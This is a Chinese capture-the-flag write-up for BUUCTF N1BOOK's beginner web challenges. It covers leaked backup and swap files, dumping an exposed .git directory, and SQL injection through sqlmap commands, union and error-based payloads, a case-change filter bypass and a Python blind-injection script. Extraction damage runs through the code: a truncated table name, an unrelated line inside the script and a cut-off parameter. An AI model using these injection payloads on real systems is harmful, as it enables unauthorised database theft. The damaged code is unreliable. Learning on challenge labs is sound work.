BUUCTFN1BOOK[第⼀章web⼊门] BUUCTF  N1BOOK [第⼀章 web⼊门]
⽬录
[第⼀章 web⼊门]常见的搜集
题⽬:
解题过程:
本题主要考察的是⼀些敏感⽂件,有可能会从这些⽂件中得到⼀些源码,本题更露⾻,直接给出flag。
1.访问
2.访问flag1_is_
3.访问index.php~
4.访问.index.php.swp(注意前⾯的.)
下载,⽤记事本打开,查flag,即可到
将三个flag进⾏拼接即可得到flag。
[第⼀章 web⼊门]粗⼼的⼩李
题⽬:
解题过程:
本题⽬考察的是git⽂件泄露,这个需要我们下载⼀个py脚本GitHack-master。之前做过⼀个相似的git⽂件泄露题⽬:
具体过程是:
⾸先电脑上要有python2.x的环境,然后去下载相应的⽂件,在下载好的GitHack-master⽂件夹内按住shift键,同时⿏标右键点击空⽩处,点击在此处打开命令窗⼝,输⼊命令
python2 GitHack.py de3.buuoj/.git/
(我的电脑上python2启动的python2.x,具体看⼤家的电脑环境是怎样的)
得到的源码会留在⼯具GitHack-master所在的⽂件夹内,是个index.html
本地访问即可得到flag。
[第⼀章 web⼊门]SQL注⼊-1
题⽬:
解题过程:
第⼀种解法:sqlmap(脚本⼩⼦)
库名
python sqlmap.py -u "de3.buuoj/index.php?id=1" --dbs --batch
得到4个库名
查看note库
python sqlmap.py -u "de3.buuoj/index.php?id=1" -D note --tables --batch
得到2个表名
查看fl4g表
python sqlmap.py -u "de3.buuoj/index.php?id=1" -D note -T fl4g --columns --batch
得到字段名
查看字段值
python sqlmap.py -u "de3.buuoj/index.php?id=1" -D note -T fl4g -C fllllag --dump --batch 得到flag
第⼆种解法:
⾸先判断是字符型:
id=2 和id=2a 回显相同
判断字段数
id=1' order by 3--+
(注意有点问题,在注释后⾯的时候,#不⾏,但是--+可以,不是很懂,可能是过滤了吧,懂的⼤佬⿇
烦说⼀下)
判断回显位
id=121' union select 1,database(),version()--+
得到库名
查看表名
id=121' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
查看字段名
id=121' union select 1,group_concat(column_name),3 from lumns where table_name='fl4g'--+
获取字段值
id=121' union select 1,group_concat(fllllag),3 from fl4g--+
第三种解法:盲注脚本
最近学的py脚本⽐较多,顺便写了⼀下,加深⼀下印象
import requests
s=requests.session()
url='de3.buuoj/index.php'
table=""
for i in range(1,50):
mysql下载下来是一个文件夹
print(i)
for j in range(31,128):
#爆库名,不过不经常⽤这个东西,因为库名有的情况下只有⼀个,但是也有多个的情况,这个时候,需要选择⼀下
#payload = "ascii(substr(database(),%s,1))=%s--+"%(str(i),str(j))
#爆表名  flag
#payload = "ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%s--+"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select group_concat(column_name) from lumns wh
ere table_name='fl4g'),%s,1))=%s--+"%(str(i),str(j))
#读取flag
#payload = "ascii(substr((select fllllag from fl4g),%s,1))=%s--+"%(str(i), str(j))
#这个也是读取flag的,但是注意substr的⽤法有点不⼀样,注意这点就⾏,两者皆可
payload = "ascii(substr((select fllllag from fl4g) from %s for 1))=%s--+"%(str(i), str(j))
ra = s.get(url=url + '?id=0%27 or ' + payload).text
if 'Why am I feeling so happy today' in ra:
table += chr(j)
print(table)
break
[第⼀章 web⼊门]SQL注⼊-2
题⽬:给了提⽰,login.php,user.php
解题过程:
访问login.php,查看源码,有提⽰
如果觉得太难了,可以在url后加⼊?tips=1 开启mysql错误提⽰,使⽤burp发包就可以看到啦
burp抓包,
这是⼀串unicode编码,在接下来的盲注中有⽤。因为提⽰中有开启mysql错误提⽰,所以尝试报错注⼊
第⼀种解法:报错注⼊
注意fuzz的时候,发现题⽬过滤了select,但是我们可以根据mysql对⼤⼩写不敏感,从⽽使⽤⼤⼩写绕过,sElect代替select
修改报⽂中,name和pass的值(其实pass的值⽆所谓,因为后⾯被过滤了)
查看表名
name=admin' and updatexml(1,concat(0x7e,(sElect group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e)--+&pas  得到: '~fl4g,users'"
查看字段名
name=admin' and updatexml(1,concat(0x7e,(sElect group_concat(column_name) from lumns where table_name='fl4g')),0x7e)--+&pass=1 得到字段名:'~flag'"
查看字段值
name=admin' and updatexml(1,concat(0x7e,(sElect flag from fl4g)),0x7e)--+&pass=123456